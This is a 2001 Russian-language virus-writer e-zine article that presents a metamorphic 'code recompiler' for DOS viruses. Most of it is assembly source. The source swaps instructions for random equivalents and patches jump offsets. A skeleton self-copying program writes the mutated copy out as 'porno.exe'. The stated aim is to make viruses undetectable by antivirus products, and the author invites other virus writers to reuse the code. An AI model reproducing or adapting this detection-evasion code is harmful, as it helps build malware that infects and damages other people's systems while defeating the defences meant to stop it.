_____ _____     ___
    _,┌\/┐  :░  :░     :░ ╓ social distortion all about vx-scene ╖
 ,4\┘¤"``"¤┘  ll  l¤`     ll  ::;;;::;;....  ....:;..: ::...;.:;;;:;
:░(_          |    ___    ll ._
 `└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._  перекомпиляция кода [2001]
_____ ``^"¤└/L, d7┘` ___  7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by mongoose [m_youth]
$$$$|/┌,.__,┌\:`4│/┐,_  _ll  ``''""¤¤┘┘
$$$$|`└/|││|\┘`   `¤└/│:


   ─ содержание

     введение ........................................... 1
     перекомпиляция кода ................................ 2
     определение размера инструкции (c) 1997 Reminder ... 5
     перекомпилятор (c) 2001 mongoose ................... 6


   ─ введение

   многие  (начинающие)  вирмейкеры  пытаются   защитить  свои  продукты  от
 быстрого  попадания  в руки к аверам.  большинство из попыток заканчивается
 написанием нового полиморфика далеко  не среднего качества,  либо изучением
 (а затем приминением в продукте) технологии stealth, uep ... ;\

   - перекомпиляция кода

   уже  была  попытка  написать  что-то  немного  похожее - вирус  TMC. btw,
 исходники этого довольно интересного продукта, вирмейкера из Словакии можно
 найти  в  журнале  Asterix 2 (так же,  этот  вирус дизасмил DarkMan из 29A,
 исходники можно скачать с его сайта, кстати,  в   них  разобраться  намного
 проще,  чем  в  авторских).  был  написан  "перекомпилятор"   кода,  однако
 использовался он немного  по  иному.  вирус  разбивался  на  блоки и друг с
 другом  они  соединялись командами типа jmp. это выглядело примерно так:

   [ кусок кода 1 ]
   [jmp на кусок 2]
   [ кусок мусора ]
   [ кусок кода 2 ]
   [jmp на кусок 3]
   [ кусок мусора ]
   ...

   оффсеты соответсвенно менялись. однако, продетектировать копию вируса TMC
 (имея слабенький  эмулятор  и  процедуру  для соединения отдельных кусков в
 вирус) особого труда не  составляло,  однако  "с ходу"  детектировать вирус
 смогли  только   dr.web  и,  если  я  не  ошибаюсь,  nod  ;) ...  остальные
 обломались, но позже, наверстали упущенное.

   идея конечно не нова и вроде где-то я уже слышал (может даже читал) о ней
 (кажется Z0MBiE упоминал) было написано пару слов, но я решил все разжевать
 и преставить код. к сожалению, код примера не очень хорошо откоментирован и
 неполностью сделан.

   я предлагаю сделать следующее:  немного подкоректировав продукт, вставить
 в  него  специальный  анализатор,  который  будет  заменять  инструкции  на
 эквивалент, причем не просто [or ax,ax] на [test ax,ax], а например:

   mov ax,cx   на push  cx
                  pop   ax

   xchg  ax,dx на push  ax dx
                  pop   ax dx

   sub   ax,ax на mov   ax,00

   причем,  нельзя  забывать,  о  том,  что  размер  вируса будет постепенно
 увеличиваться,  но,  в  зависимости  от   мощности   перекомпилятора, можно
 расчитать максимально возможный размер продукта.

   мы должны менять не каждую попавшуюся инструкцию, а по рандому ... причем
 для каждой инструкции должно быть как можно больше эквивалентов.

   в конечном итоге, если все грамотно реализовать, вполне можно получить не
 детектируемую вещь! но главное, не зарываться и не вставлять в продукт кучи
 текстов etc,  иначе, совместо с несколькими маленькими константами в коде и
 контрольными суммами текстов, аверы  могут легко  сечь продукт. спасает так
 же то, что кодо-эмулятор Reminder'а используется не только в этом продукте,
 но  и  в  нескольких  других  -  поэтому, он  не  может  является  основной
 сигнатурой, однако он + пара маленьких констант в коде + текста могут стать
 потенциальной сигнатурой.

   со статьей предлагается простенький перекомпилятор под dos, он не доделан
 до рабочего состояния, просто сделан  скелет,  который  изменяет  некоторые
 инструкции на эквиваленты, а затем рекомпилирует оффесты в инструкции jmp.

   используйте код или его части без ссылки на автора (меня).  есть одно  но
 (для  тех кто захочет использовать его в своих вирусах),  перекомпилятор не
 универсален и заточен под конкретный продукт ...  однако подогнать его  под
 свой продукт не займет не более 2-3 минут.

───[vcode.inc]───────────────────────────────────────────────────────[start]──
; [wild_thing] for code recompiler 0.01 (c) mongoose /MY
;
;
.model   tiny
.code
 org     256
;───────────────────────
 code_size             equ (real_start-start)
;───────────────────────
 start:
                jmp     real_start
                xor     ax,ax
                xor     ax,ax
                        db 125 dup (90h)
 ss1:           jmp     start
                xor     ax,ax
                xor     ax,ax
                xor     ax,ax

 real_start:    call    calculate_ip
 calculate_ip:  pop     bp
                sub     bp,offset calculate_ip
                jmp     real_start_             ; в начало вируса
;───────────────────────
 virus_size             dw (code_size)
; virus_size             dw (end_of_code-start)  ; размер вируса (не постоянный)
 file_name              db 'porno.exe',0
;───────────────────────
 real_start_:   lea     di,[bp+crypt_buffer]
                lea     si,[bp+start]
                mov     cx,(code_size)
                push    cx di
                cld
                rep     movsb

                pop     si cx
                call    recompile

                mov     ah,3ch
                lea     dx,[bp+file_name]
                int     21h
                xchg    bx,ax

                mov     ah,40h
                mov     cx,word ptr [bp+virus_size]
                lea     dx,[bp+crypt_buffer]
                int     21h

                mov     ah,3eh
                int     21h

                mov     ax,4c00h
                int     21h
;──────────────────────────────────────────────────────────────────────────────
; gen_rnd_num - выбор случайного числа от 0 до cx
;
; on start  ds:cx - граница
;
; on exit   ds:ax - число
;
 gen_rnd_num:   push    bx
                in      ax,40h
                in      al,40h
                mov     bx,261
                mul     bx
                or      ax,ax
                jz      again
                mov     bx,65521
                div     bx
                or      dx,dx
                jnz     not_zero
;───────────────
 again:         pop     bx
                jmp     gen_rnd_num
;───────────────
 not_zero:      xchg    ax,dx
                sub     dx,dx
                or      ax,ax
                jnz     cont_rnd
                inc     ax
                or      cx,cx
                jnz     cont_rnd
                inc     cx
 cont_rnd:      div     cx
                xchg    ax,dx
                pop     bx
                ret
;───────────────────────
 virus_name             db 'wild thing'
;───────────────────────
 include                rec\count.inc
 include                rec\rec_code.inc
 include                rec\rec_offs.inc
;───────────────
 end_of_code    label   byte
 include                rec\rec_heap.inc
                end     start
;───────────────────────
───[vcode.inc]──────────────────────────────────────────────────────────[end]─

───[rec\count.inc]───────────────────────────────────────────────────[start]──
;
; "Asm Instruction First byte Show" (Small disasm) (c) Reminder (1997)
;
 @dis_init:     lea    si,[bp+rle_table]         ; di - buf for table (256)
                mov    cx,88
                cld
 @c1:           lodsb
                mov    bx,1
                push   ax
                and    al,0F0h
                cmp    al,70h
                pop    ax
                jnz    @s1
                and    al,0fh
                mov    bl,al
                lodsb
                dec    cx
 @s1:           push   ax cx ax
                and    al,0fh
                stosb
                pop    ax
                mov    cx,4
                shr    al,cl
                stosb
                pop    cx ax
                dec    bx
                jnz    @s1
                loop   @c1
                ret
;
; Table 4 "Asm Instruction First byte Show" (Small disasm) (c) Reminder (1997)
;
;  11111111b
;  |   |
;  |   |
;  |   -  @1 (field 0 - 3 bit)                  @1 - first byte
;  -  @2 (field 4-7 bit)                        @2 - second  byte
;
; RLE Compression ;)
;if @2 = 0111b then next byte*@1
;
; (c) Reminder  (1997)
;
;       bp - ofsfet table si - kod.             si - next kod
;
 @dmain:        push   bx
                lodsb
;----------
                cmp    al,0fh
                jz     sux
                cmp    al,0f1h
                jz     sux
;----------
 cem_bp:        mov    bx,00ffh
                xlat
                sub    bx,bx

                or     al,al
                jz     quit
                push   ax         ; imm
                and    al,7
                add    bl,al
                pop    ax

                test   al,8               ;rm
                jz     quit
                lodsb
                mov    ah,al
                push   cx
                mov    cl,6
                shr    al,cl
                pop    cx
                cmp    al,3
                jz     quit
                add    bl,al
                or     al,al
                jnz    quit
                and    ah,7
                cmp    ah,6
                jnz    quit
                add    bx,2

 quit:          add    si,bx
                clc
                pop    bx
                ret

 sux:           stc
                pop    bx
                ret
;
 rle_table             db 088h,088h,021h,000h,088h,088h,021h,000h,088h,088h
                       db 021h,000h,088h,088h,021h,000h,088h,088h,021h,000h
                       db 088h,088h,021h,000h,088h,088h,021h,000h,088h,088h
                       db 021h,07Fh,000h,076h,000h,0A2h,091h,000h,000h,078h
                       db 011h,0A9h,0A9h,074h,088h,028h,088h,075h,000h,004h
                       db 000h,000h,022h,022h,000h,000h,022h,073h,000h,074h
                       db 011h,074h,022h,099h,002h,022h,0A9h,003h,002h,010h
                       db 000h,088h,088h,011h,000h,074h,088h,074h,011h,022h
                       db 014h,075h,000h,0A9h,073h,000h,088h
;
; start : si = location
; exit  : ax = size
;
 instr_size:    push   ax cx dx bx bp sp si di
                lea    di,[bp+sot]
                call   @dis_init
                pop    di si sp bp bx dx cx ax
                push   cx dx bx di si sp bp
                lea    cx,[bp+sot]
                mov    word ptr [bp+cem_bp+1],cx
                mov    cx,1
                xor    dx,dx
                mov    bx,si
                call   @dmain
                mov    ax,si
                sub    ax,bx
                pop    bp sp si di bx dx cx
                ret
───[rec\count.inc]──────────────────────────────────────────────────────[end]─

───[rec\rec_code.inc]────────────────────────────────────────────────[start]──
;═════════════════════════════════════════════════════════════════════════════
; code_recompiler version 0.01 (c) mongoose
; перекомпилятор (вирусного) кода by mongoose
;
; on start  ds:cx - размер кода
;           ds:si - расположение кода
;
 recompile:     lea     di,[bp+mod_buffer]
                mov     word ptr [bp+crypt_len],0
                push    cx si
;───────────────
 recompile_:    push    cx si
;                int     3
                call    instr_size
;                int     3
                cmp     al,1
                jz      instr_1
                cmp     al,2
                jz      instr_2
                cmp     al,3
                jz      instr_3
                cmp     al,4
                jz      instr_4
 recompile_lp:  pop     si cx
                add     si,ax
                sub     cx,ax
 recompile_lp_: cmp     cx,0
                js      recompile_ret
                jnz     recompile_
 recompile_ret: sub     ax,ax                   ; конец таблицы модификаций
                stosw
                pop     si cx
                call    recomp_off
                ret
;───────────────
 instr_1:
                jmp     recompile_lp
;───────────────
 instr_2:       cmp     byte ptr [si],2bh
                jz      sxr_reg_reg16
                cmp     byte ptr [si],33h
                jz      sxr_reg_reg16
                cmp     byte ptr [si],8bh
                jz      mov_reg_reg16
                jmp     recompile_lp
;───────────────
 instr_3:
                jmp     recompile_lp
;───────────────
 instr_4:
                jmp     recompile_lp
;───────────────
 instr_ret:     call    save_mod_buf
                pop     si cx
                add     si,ax
                sub     cx,dx
                jmp     recompile_lp_
;───────────────
; sub/xor reg1,reg2 - 16 bit registers
;
; reg1-ah  reg2-al
;
 sxr_reg_reg16: push    ax cx dx
                mov     ah,byte ptr [si+1]      ; ah-часть инстр. с регистрами
                mov     al,byte ptr [si+1]      ; al-часть инстр. с регистрами
                mov     cl,3
                shr     ah,cl                   ; сдвигаем на 3 бита вправо
                and     ah,11b                  ; отделяем первый регистр от id
                and     al,11b
                cmp     ah,al
                jz      cont_sub_rr16
                pop     dx cx ax
                jmp     recompile_lp
;───────────────
 cont_sub_rr16: push    ax                      ; запомним регистры
                mov     cx,2
                call    gen_rnd_num             ; случайное число от 0 до 2
                or      ax,ax                   ; если число = 0, выберем метод
                pop     ax                      ; через sub/xor reg16,reg16
                jnz     sub_mov_rr16            ; иначе через mov reg16,0
;───────────────
 sbxr_xor_rr16: cmp     byte ptr [si],33h
                jz      sx_move_sub
                mov     al,33h
                jmp     sx_move_instr
 sx_move_sub:   mov     al,2bh
 sx_move_instr: mov     byte ptr [si],al
                mov     al,2
                stosb                           ; размер новой инструкции в di
                pop     dx cx ax
                jmp     instr_ret
;───────────────
 sub_mov_rr16:  mov     cx,1
                call    make_hole
                push    di
                mov     di,si
                add     al,0b8h
                stosb
                sub     ax,ax
                stosw
                pop     di
                mov     al,3
                stosb                           ; размер новой инструкции в di
                pop     dx cx ax
                jmp     instr_ret
;───────────────
; mov reg1,reg2 - 16 bit registers
;
; reg1-ah  reg2-al
;
 mov_reg_reg16: push    ax cx dx
                mov     ah,byte ptr [si+1]      ; ah-часть инстр. с регистрами
                mov     al,byte ptr [si+1]      ; al-часть инстр. с регистрами
                mov     cl,3
                shr     ah,cl                   ; сдвигаем на 3 бита вправо
                and     ah,11b                  ; отделяем первый регистр от id
                and     al,11b
;───────────────
                push    ax                      ; запомним регистры
                mov     cx,2
                call    gen_rnd_num             ; случайное число от 0 до 2
                or      ax,ax                   ; если число = 0, выберем метод
                pop     ax                      ; через xchg иначе через
                jz      mov_rr16_xchg           ; push / pop
;═══════════════
 mov_rr16_pp:   add     al,50h                  ; делаем push второй регистр
                mov     byte ptr [si],al
                add     ah,58h                  ; делаем pop первый регистр
                mov     byte ptr [si+1],ah
                mov     al,2
                stosb                           ; размер новой инструкции в di
                pop     dx cx ax
                jmp     instr_ret
;═══════════════
 mov_rr16_xchg: mov     cx,2                    ; вырезаем дополнительную дыру
                call    make_hole               ; в 2 байта
                push    ax
                add     al,50h                  ; делаем push второй регистр
                mov     byte ptr [si],al        ; пишем в код
                add     al,08h                  ; делаем pop второй регистр
                mov     byte ptr [si+3],al      ; пишем в код
                pop     dx
                call    xchg_rr16
                mov     word ptr [si+1],ax
                mov     al,4
                stosb
                pop     dx cx ax
                jmp     instr_ret
;───────────────
 xchg_rr16:     push    cx dx
                mov     ax,1100000010000111b
                call    make_inst
                pop     dx cx
                ret
;───────────────
 make_inst:     or      ah,dl
                mov     cl,3
                shl     dh,cl
                or      ah,dh
                ret
;───────────────
 lea_offset:
;───────────────
 save_mod_buf:  push    ax
                stosb                           ; размер старой инструкции в di
                push    si                      ; ax = si
                pop     ax                      ; ...
                stosw                           ; оффсет измененной инстр. в si
                pop     ax
                sub     ax,ax
                mov     al,byte ptr [di-4]
                sub     dx,dx
                mov     dl,byte ptr [di-3]
                inc     word ptr [bp+crypt_len]
                ret
;───────────────────────
; make_hole - вырезаем дыру в коде размером cx байт
;
; on start  ds:cx - размер дыры
;           ds:si - место в коде для дырки
;
 make_hole:     push    ax cx si di
                lea     di,[bp+crypt_buffer]
                add     di,word ptr [bp+virus_size]
                add     word ptr [bp+virus_size],cx
                push    di di
                add     di,cx
                pop     cx
                sub     cx,si
                pop     si
                dec     di
                dec     si
 make_hole_lp:  mov     al,byte ptr [si]
                mov     byte ptr [di],al
                dec     di
                dec     si
                loop    make_hole_lp
                pop     di si cx ax
                ret
;───────────────────────
───[rec\rec_code.inc]───────────────────────────────────────────────────[end]─

───[rec\rec_offs.inc]────────────────────────────────────────────────[start]──
;═════════════════════════════════════════════════════════════════════════════
; offs_recompiler version 0.01 (c) mongoose
; перекомпилятор (вирусного) кода, а именно offset'ов
;
; on start  ds:cx - размер кода
;           ds:si - расположение кода
;
 recomp_off:
;───────────────
 recomp_offset: push    cx si
                call    instr_size              ; определяем размер инструкции
                mov     cx,word ptr [bp+crypt_len] ; кол-во измененных инструкций
                lea     di,[bp+mod_buffer]      ; буффер с данными
                cmp     al,3                    ; ax = 3 ?
                jz      roff_instr_3            ; да, переходим
                cmp     al,4
                jz      roff_instr_4
;───────────────
 rec_off_lp:    pop     si cx
                add     si,ax                   ; следующая инструкция
                sub     cx,ax                   ; проверять на одну инструкцию меньше
 rec_off_lp_:   cmp     cx,0                    ; конец кода? ;)
                js      rec_off_ret             ; если конец, отвалим
                jnz     recomp_offset           ; иначе продолжим
 rec_off_ret:   ret
;───────────────
 roff_instr_3:  cmp     byte ptr [si],0e9h      ;
                jz      ro_jmp_near             ; jmp near offset
                jmp     rec_off_lp              ; конец 3 байтовых инструкций
;───────────────
 roff_instr_4:  cmp     byte ptr [si],08dh      ;
                jz      ro_jmp_near             ; jmp near offset
                jmp     rec_off_lp              ; конец 4 байтовых инструкций
;────────────────────────────────────────────────────────────────────────────
; jmp near offset - near jump
;
 ro_jmp_near:   push    ax dx
                mov     ax,word ptr [si+1]      ; на сколько нужно прыгнуть ?
                add     ax,3                    ; добавим 3 (размер инструкции)
                add     ax,si                   ; преобразуем в offset
                cmp     si,ax                   ; если (inst off) < (jump off)
                jl      ro_jmp_ndown            ; то это jmp вниз
;───────────────
 ro_jmp_nup:    cmp     word ptr [di+2],ax      ; измененная инст-ция находится
                jl      ro_jmp_nup_             ; ниже инструкции (jmp вверх)
                                                ; значит модифицировать ненужно
;───────────────
                cmp     word ptr [di+2],si      ; измененная инст-ция находится
                jg      ro_jmp_nup_             ; выше инструкции на которую
                                                ; совершается переход
                call    ro_jmp_nmod             ; если изм. инструкция находится
                                                ; между jmp и дестинацией изменяем
                sub     word ptr [si+1],dx      ; изменим инструкцию
;───────────────
 ro_jmp_nup_:   add     di,4                    ; следующие данные
                loop    ro_jmp_nup              ; цикл
                pop     dx ax
                jmp     rec_off_lp              ; выходим
;═══════════════
 ro_jmp_ndown:  cmp     word ptr [di+2],si
                jl      ro_jmp_ndown_
;───────────────
                cmp     word ptr [di+2],ax
                jg      ro_jmp_ndown_
                call    ro_jmp_nmod
                add     word ptr [si+1],dx      ; изменим инструкцию
;───────────────
 ro_jmp_ndown_: add     di,4                    ; следующие данные
                loop    ro_jmp_ndown            ; цикл
                pop     dx ax
                jmp     rec_off_lp              ; выходим
;───────────────────────
; модификация offset'а инструкции jmp near
;
 ro_jmp_nmod:   push    ax                      ; запомним ax
                sub     ax,ax                   ; ax = 0
                sub     dx,dx                   ; dx = 0
                mov     al,byte ptr [di+1]      ; al = размер оригинальной инструкции
                mov     dl,byte ptr [di]        ; dl = размер измененной инструкции
                sub     dx,ax                   ; dx = разница
                pop     ax                      ; вспомним ax
                add     ax,dx                   ;
                ret
;───────────────────────
───[rec\rec_offs.inc]───────────────────────────────────────────────────[end]─

───[rec\rec_heap.inc]────────────────────────────────────────────────[start]──
 sot                    db 260 dup (?)
 mod_buffer             db 1000 dup (?)
 crypt_len              dw ?
 crypt_buffer           db (end_of_code-start)*2 dup (?)
───[rec\rec_heap.inc]───────────────────────────────────────────────────[end]─

   greets to Black Angel [Multiplatform Advanced Destroyer], thanks for help

   HTTP://MYALLSTAR.CJB.NET    (x) 2001 mongoose, misdirected_youth_all-star